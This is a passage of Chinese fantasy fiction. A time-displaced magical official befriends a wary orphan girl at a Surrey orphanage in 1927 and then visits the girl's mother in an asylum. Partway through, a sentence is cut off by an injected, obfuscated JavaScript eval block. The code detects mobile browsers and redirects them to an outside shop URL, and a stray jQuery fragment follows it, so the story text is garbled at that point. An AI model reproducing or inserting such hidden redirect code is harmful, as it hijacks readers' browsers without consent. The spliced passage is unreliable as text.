1927年冬季，萨里郡北部。
错落的石屋坐落在低矮处，不远处的山坡上矗立着一颗常青劳森伯，积雪覆盖了树枝，它孤零零的站在那儿，一年四季。
六岁的夏薇站在结冰的溪水边，她穿着一件粗呢的外套，里面塞着春秋季节的孤儿院服，将自己裹成一团足够抵挡寒风的球形。
石墙外的藤蔓已经枯萎，新制的木牌挂在瑞德什抚养院的门前，老旧的修道院牌匾灰扑扑的，隐约还能看出韦弗利修道院几个字。
在劳伦斯院长接手这座孤儿院以前，这里曾是一所修道院，但战争改变了一切，现在这里成为了一家依靠社会捐助存活的孤儿院，许多修女留下成为了保育员，所以这所孤儿院仍然保留着祈祷与礼拜的习惯。
幼崽将手缩进自己的袖口，她努力踮起脚，一深一浅走在那条小路上，在身后留下一串蜿蜒的脚印。
雪已经停了，她抬起头，山坡上的那颗柏树下多了一个人影。
她眨了眨眼，停在原地。
柏树下的大人穿着深色的袍，脖子里围着厚厚的围巾，看不清脸。
大人轻易跨过了让她寸步难行的雪地，蹲在她的面前，将自己的围巾裹在她的头上，眉眼舒展，露出温和的笑。
“小朋友，你叫什么名字？”
幼崽被热呼呼的围巾裹住了脑袋，她挣扎着从上面探出自己的脸，又恋恋不舍得缩了回去，将冻僵的双手也藏进暖和的围巾里，只露出一双警惕的双眼。
她抬头看眼前的大人，对方有一双乌黑发亮的眼，朝自己眨了眨。
她内心挣扎了一下，还是没有将围巾从自己脖子上取下来，只是闷闷地挪开双眼，瓮声瓮气地说：
“我不认识你。”
伊万斯低头看着夏薇的幼年体，她的穿搭乱七八糟，耳朵冻得通红，头发有些凌乱地支楞着，但看得出她努力将自己打扮得整洁，是个非常注重形象的幼崽。
寒冷让幼崽缩成一团，伊万斯悄悄将手伸进自己的魔法袍，握住魔杖，为两人套上一层保温咒。
幼崽的肩膀不再瑟缩，她看起来舒展了一点，但那双琥珀似的眼睛里仍然充满对陌生人的警惕。
“没关系，我叫伊万斯，我来找劳伦斯院长。”
伊万斯庆幸自己还记得这个名字，这是她隶属魔法部神秘事务司的第十年，她已经处理过太多棘手的情况，但眼下的情形却是她第一次遇到。
如果非要探究原因，她认为是某种时间魔法的副作用，缄默者不会在相遇的人的记忆中留下痕迹，所以偶尔时间的错流会将她们带往过去。
至于目睹者，在她们回到正确的时间点后，有关她们的记忆同样会消失。
但这或许不失为一种机遇。
伊万斯垂眸看向身边倒腾着小短腿努力跟上她的幼崽，将眼底的笑意藏得更深。
幼崽低着头，专心致志走在雪地上，努力让自己不要摔倒，顺便走在背风处让身前的大人为自己挡住寒风。
“今日是礼拜日，劳伦斯院长不在，她带领着保育员和一些学生去往了沃茨墓地礼拜堂。”
幼崽稚嫩的声音听起来毫无起伏，她仍未放下戒心，她沿着小路走向自己的抚养院，那里有能够与大人周旋的成年保育员，幼崽只需要找到自己的庇护所。
“是吗？沃茨墓地礼拜堂？那里是什么地方？”伊万斯脸上浮起淡淡的笑意。
“一座红色砖头垒成的礼堂。”幼崽小心让风不会灌进自己的领口，“有尖尖的屋顶与彩色的玻璃。”
“是吗，你很了解嘛，去过？”伊万斯拉住幼崽的手腕，以免她跌进雪堆里，她伸手给幼崽拍了拍身上的雪沫，对上那双浅色的圆眼，问，
“为什么这次没有跟着院长一起去参加礼拜？”
幼崽白皙的脸上还带着婴儿似的软肉，幼圆的眼睛静静看着她，最后她垂下眼睫：
“我不愿意去，人死了以后，都会埋进那里。”
心脏上的神经仿佛被轻轻敲了一下，有些酸胀，伊万斯听见幼崽继续说：
“而且，我不相信上帝。”
幼崽伸出手，抓住了她的手套，扬起脸，问：
“你相信上帝吗？”
伊万斯站在那副新制作的木牌与老旧的修道院牌匾之间，她低下头，认真地看着小小的幼崽：
“我也不信。”
她看见幼崽的眼里绽放出什么，但很快被收敛，她扭过头去，倔强地说：
“到了。”
*
“你想要见这孩子的母亲？”
幼崽百无聊赖坐在凳子上，趴在窗前去看窗外飘起的雪花，不远处，院长有些犹疑不定地看向她的方向，压低了声音，
“您认识她的母亲？那么，您是否知道……”
伊万斯从怀里掏出二十英镑——旧版发行的那种，成功堵住了劳伦斯院长接下来的话。
“一些赞助，为孩子们添些衣物吧。”
劳伦斯院长的话在喉咙里滚了个来回，最终她还是收下了英镑，这是她们这个月来唯一一笔赞助，足够孩子们这几个周好过一些，至少多几个肉菜。
“好吧，不过我要提醒你，不要小看任何人，哪怕是一个孩子。”
劳伦斯院长的目光飘向窗边的夏薇，语气笃定，
“她很聪明，请不要欺骗她，她能看出一个人的真心。”
伊万斯的目光同样看过去，她看到了一个小小的幼崽孤独地守在窗前，等待这场雪后，等待她期盼的身影归来。
*
窗外的雪铺了厚厚一层，几个镇上的小孩在雪地上嬉笑着打闹，幼崽安静坐在凳子上，朝坐在身边的人投去一瞥。
“院长说你会留在这儿一段时间。”
“是的，不过不会太久。”伊万斯与她坐在一起，看着窗外的雪景，壁炉里的火焰更旺了些。
幼崽伸出自己的手，将围巾塞进她怀里，又飞速缩了回去，只是翘起自己的脚让脚离壁炉更近一点。
“谢谢你的围巾。”
幼崽缩成一团，声音闷在衣领里。
伊万斯掂了掂自己手里的围巾，没有拒绝幼崽的礼貌，她随手将它放到一边，窗外的男孩们打起了雪仗。
“你去见过你的母亲吗？”
幼崽的呼吸暂停了一下，她似乎又竖起了自己的尖刺，生硬回答：
“不关你的事。”
“院长告诉我偶尔圣巴塞洛缪疗养院会让你们探望，但最近不行了，是吗？”
幼崽直直看着前方，被团成一团的雪球从窗前划过，白色的雪线在她的瞳孔中烙下痕迹。
“我从没有见过我的父母，”伊万斯的话落下时，幼崽冰冷的目光看过来，伊万斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960501|214177||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
继续说，
“但我会前往圣巴塞洛缪——”
窗外男孩的尖笑声传进来，一只雪球径直朝她们面前这扇窗户飞来。
“如果你想要去见她，或者想要带给她什么话，我可以……”
幼崽咚一声站起来，凳子在她身后落地，她的双眼看着窗外，那只本该砸到她面前的雪球在半空炸成了雪沫，尚未懂得掌控自己力量的幼崽站在原地，她瞪大了双眼，胸口起伏着，窗户的对面两个男孩傻傻看着这一幕，张大了嘴。
“走开，你们这些小捣蛋鬼——”
窗外传来了院长与保育员驱赶那些孩子的声音，伊万斯站了起来，停在幼崽的身侧，她看着晃动的玻璃窗，握住了幼崽的手。
“这是你做的，是吗？”
幼崽挣扎着将手腕从她掌心抽出来：
“不是！”
她将手背到身后，让后背贴着墙，像一只警觉的幼兽呲起牙。
伊万斯没有强迫她，她只是蹲下来看着她的眼睛：
“这是你的力量，只是你尚未学会如何掌控它。”
幼崽的表情有一瞬间的空白，她渐渐松开了背在身后的双手。
“终有一日，你会明白这是什么，你会真正的拥有它，掌握它，这是你的天赋。”
伊万斯握住了那双紧握的小手，壁炉里噼啪作响，白色的雾气漫上窗户的边角，面前的幼崽最终低下了头，光影在她脸上透下晃动的阴影。
*
伊万斯仰头看着圣巴塞洛缪疗养院的门头，这里看起来足够大气，只是比起它现在的名字，更为著名的是它的另一个称呼——疯人院。
这里的院长穿着西装外套 ，打着黑色的领结，在接待她时脱帽致敬，而后在她提出自己的要求时面露难色。
“这位女士的……情况有些特殊，通常情况下我们是为了探访者的安全着想……”
对方在伊万斯拿出足够打动他的小费时换了副嘴脸，
“哦，不过如果您诚意参观，我们也会有专人带领您……”
无视对方堆起的笑脸，伊万斯跟着侍者走向了这所疗养院的深处，走进气派的门头，拐过静谧的绿植，眼前的景色逐渐荒凉起来，青塔爬上建筑，她在一所称得上是牢笼的房间里见到了那位女士。
夏薇的母亲。
“这是……呃……特殊机制，用来防止客人自我伤害……”
带着她来的人脸色有些尴尬，他拼寻找一些听上去比较体面的说辞，但伊万斯抬手制止了他。
“我需要一点私人空间。”
“好的，好的。”对方堆起笑容，迫不及待退了出去。
昏暗的房间里，唯有一盏窗户悬在她的头顶，光线照射进来时，空气中浮动着灰尘清晰可见，一个干瘦的女人坐在床前，当伊万斯第一眼看过去时，她清晰地感受到生命力从她身上的流逝。
那张脸依然年轻，她有种独特的，与一切格格不入的气质，只是坐在床前，便能感受到她过往的骄傲，才华与光环。
伊万斯站在铁制的门外，隔着栏杆，她已经清晰看到这位女士手脚上带着的链条，这里的护士说只有会伤害自己的病人才会绑上链条。
空气十分安静，女人如同一座干涸的蜡像，机械的目光挪过来。
伊万斯低下头，低声说：
“女士。”